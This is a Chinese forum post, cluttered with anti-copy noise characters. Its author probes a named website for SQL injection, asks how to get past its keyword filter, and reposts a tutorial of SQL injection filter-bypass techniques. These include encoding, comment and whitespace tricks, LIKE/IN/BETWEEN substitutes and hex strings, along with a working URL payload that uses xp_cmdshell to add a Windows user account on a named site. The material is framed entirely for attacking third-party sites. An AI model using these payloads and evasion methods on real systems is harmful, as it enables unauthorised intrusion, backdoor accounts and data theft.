路过这个网站,检测了一下.* c, ]/ m8 X& P1 Q
http://www.xxx.cn/Article.asp?ID=117 and 1=1! q; A! W: `6 E$ j, Z+ ]
直接返回主页
6 L- C$ b& H! }3 i9 c/ r! Qhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
) i, s7 D& `. q# \6 k直接返回主页
9 N/ Q# \/ N1 N- n$ A/ F, dhttp://www.xxx.cn/Article.asp?ID=117 or3 c, t( G9 F" k( V; d E1 y
没有返回主页 没有过滤or
: q7 ?" e# k9 t, q/ O$ e% O; uhttp://www.xxx.cn/Article.asp?ID=117 and4 c L5 g. g. p9 v8 _9 Z
直接返回主页 看来过滤了and
8 |7 X& ~: C; ^http://www.xxx.cn/Article.asp?ID=117 or 1
! I; Y" `! P, Z* h5 C* C4 p没有返回主页 即没有过滤or 也没有过滤1
1 P% I/ F2 k+ @( khttp://www.xxx.cn/Article.asp?ID=117 or 1=1
! O: `/ G0 ~' w/ y* _直接返回主页 很明显过滤了等号
0 u5 c( o; U; E* U2 {* i4 t: {& Mor的特性是与and相反的.5 A3 y, K& c, @) F! V
or 1=1 爆错 或与原页面不同' k( Z/ a# F; R3 n- V
or 1=2 原页面相同
9 A/ M) |* Q3 u( ^这样就是一个注入点8 d$ |) n2 I7 d1 @
但他过滤了=号 我就用><号代替=号吧!
+ x, g% ^0 S, y5 G( a+ {$ ]! por 1<2 很明显是正确的,所以应该与原页面不同* H* N! r, C W6 D. S4 |
or 1>2 很明显是错误的,所以应该与原页面相同1 x) U! {: d+ L+ B5 Y! \: @" w
然后看看有没有过滤其他的查询语句,比如select.9 I" ?' A) N4 B5 h, C
http://www.xxx.cn/Article.asp?ID=117 select5 A Q& x1 B/ F" w
直接返回主页
* {3 P: ~2 j% u0 x' S又迷茫了..
S4 H$ T+ l0 q, u/ m" u3 j3 Y# @7 L7 P f: F' o: \
. x* ~! k0 {( J+ Y
cookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗; g7 ^: v# s; ]- S: i H4 @% [" w
这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)
* L7 N2 o9 G. q* v) Z }3 U7 `================================================
# O o" V5 y: N! [# [4 G以下是转贴:
% V. h% r! C# ?( @9 [# |( N1 @
* |' S" ~# I0 F; i# \ a1 T突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好…… ( ]9 S% B; l1 ]- y1 k
经过我的收集,大部分的防注入程序都过滤了以下关键字: 6 [3 L- J. |, F4 d. m8 \# x
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | =
6 v2 y y" w/ y2 A而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。
( n1 N0 m' B) [& a2 s& E对于关键字的过滤,以下是我收集的以及我个人的一些想法。 - J6 ?/ l: L% k1 c3 Y5 i" Y# L" M
1、运用编码技术绕过 " I3 F8 e9 F; v
如URLEncode编码,ASCII编码绕过。例如or 1=1即 & c, e6 v; j$ p! L% E A
%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。
7 a0 U1 W& p0 Z: t$ T) f/ ~& V
/ c1 u8 i) R5 M' {" k7 d2、通过空格绕过
' u" M' `7 G0 v+ m如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如 ' I' ?7 [0 |6 y$ `9 C& Z
or’ swords’ =‘swords’ + b6 ]3 I* m# y5 u# K ]
,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。 ; V: L: q0 O7 ]( i6 I8 z
3、运用字符串判断代替 : D) o. U, A w& ]2 ]
用经典的or 1=1判断绕过,如
" z* Z, N1 [; ^& gor ’swords’ =’swords’ # Y8 Z2 g( e9 o
,这个方法就是网上在讨论的。
) G2 t+ w' g* A$ h0 _( H+ |$ _4、通过类型转换修饰符N绕过 ( }5 {5 K. K4 s$ P$ M1 C4 T2 b4 i
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
% {: O) y$ [/ l% N5、通过+号拆解字符串绕过
8 S# D/ B2 j" F6 g效果值得考证,但毕竟是一种方法。如
F4 M8 @ r1 m. a3 s, a Vor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) 8 q, V4 ]9 v8 [9 x
, a2 i6 W& R& C0 O4 x6、通过LIKE绕过 5 y0 \1 U& m+ P% Z
以前怎么就没想到呢?如or 3 s2 _9 s' A1 h
’swords’ LIKE ’sw’
* s* d! ~( z. \, i!!!显然可以很轻松的绕过 : Y% _! w+ y$ S4 i
“=”“>” t1 x5 |" ^( i
的限制…… " w4 H4 G$ t' }+ J0 s
7、通过IN绕过
- g/ D z7 k2 H" }# D) ~- O与上面的LIKE的思路差不多,如
7 w0 c8 H! A. h! k1 Nor ’swords’ IN (’swords’)
3 Y1 x9 T. s$ G( O8 j7 @6 K- w3 E" R( i y: U
8、通过BETWEEN绕过 ^ i) g* }. @3 L2 }' b$ h
如 / W# d" @8 B5 I9 O' k+ H2 J
or ’swords’ BETWEEN ’rw’ AND ’tw’
' i% F$ s2 x7 @6 J/ }7 x4 P
9 L9 j [# p5 Y6 k3 @9、通过>或者<绕过 * |# o/ b. F) Y. U) B
or ’swords’ > ’sw’ 5 R$ y4 b9 P8 Y8 H( j
or ’swords’ < ’tw’ E& ^/ K' x( b2 u3 E4 P, V
or 1<3 * W, h+ C3 r3 y6 F8 h* Y* E
……
1 I# I$ ] |7 b# F/ y10、运用注释语句绕过
9 U8 _+ p' Q. r用/**/代替空格,如:
L- |3 S! C5 t$ X* lUNION /**/ Select /**/user,pwd,from tbluser
! d5 o7 Y) N( ]% T7 E9 J
' A9 O& O- P1 q8 i1 M; N$ C- j用/**/分割敏感词,如: & S. i- S' ]# O5 F
U/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
7 i/ ?+ w: {# f& t* e: N) X0 S3 J5 b- [8 x5 ?+ n$ R
11、用HEX绕过,一般的IDS都无法检测出来 7 f5 r9 \' o3 `; e' t
0x730079007300610064006D0069006E00 =hex(sysadmin)
0 J; s8 e. ^+ |8 L0x640062005F006F0077006E0065007200 =hex(db_owner) 3 k& N: P7 M( o( h
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下:
8 Y0 \; i- ^& b! ?3 R) ] declare @a sysname
( [+ c6 F: ~* F( K5 p+ ]3 f select @a=
! X9 r8 B; H+ l! o& g% ]% f exec master.dbo.xp_cmdshell @a
' n& b* S, A' y n* f效果 7 G/ b* G1 H9 `3 a
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];--
$ I& x) e, H1 F, U
* l% P6 g/ _, n; E1 [5 j4 V1 [其中的
1 i5 U: `2 M, T2 X3 I5 @0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
0 V9 x1 h) x9 ]) d- |- n0 H% n就是
6 l' J/ V& c3 ~( o5 Y& s% r9 n- g$ k“net user angel pass /add”
" }( c) W# ~' D: X( j! J+ N0 z, _) n3 I1 N" r2 o+ B9 d
一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。% {# }' i% f9 J- `. b- Z
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。. N7 Z, K) y, c' Q( V5 `# K
另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似
* n; \7 ?3 D# ]" V' U; kCopy code
) b1 ~# r4 ?: T7 V+ p- X8 {: rselect * from table exec xp_cmdshell'xxxxxxxxxx'
. C. C, m% k' L2 ~8 v- u S9 l
1 [ [6 _9 W q g4 ^2 u; d) h5 U
% W& e" r# ]( {7 f4 Y7 a* Iselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'
2 }# n& x8 I1 O% n1 q. e& H5 a$ j- p5 y5 t4 X" \& R& J6 i9 f; Y
* Y) D; n- [1 X% t0 F, c$ n! Wselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'3 C9 k X2 I# r% ~
/ u! N. e) E: {! u
$ D* I( K9 b& q! A7 l& S" A, B9 wselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'+ R( G w) w9 G( P3 r1 c* F$ o
1 {+ D; M; ~: W" q' `
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
& b0 Q4 B- l6 T; B) T7 @, v# k! e6 e" d# Z4 Z9 ]
这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
# i' C9 X$ n7 T' H; c可能大家早就知道了,不管怎么说,发在这里吧!
& o6 m2 j) @3 _; |" V
) ]5 t5 r! Z) g( Q% p最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。! C o; X: t) q( j {( v4 |
# R. B1 k8 g( {! Q2 H/ M
; n5 G2 i7 C% w0 A
9 ^1 Z- ^0 K; e, u5 k( G& _对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,9 y% z# q$ `; T
比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? $ K0 a- A) @! w, B/ z& G6 J
, F# i' j7 c: D0 M( @/ S' i. ?1 U
|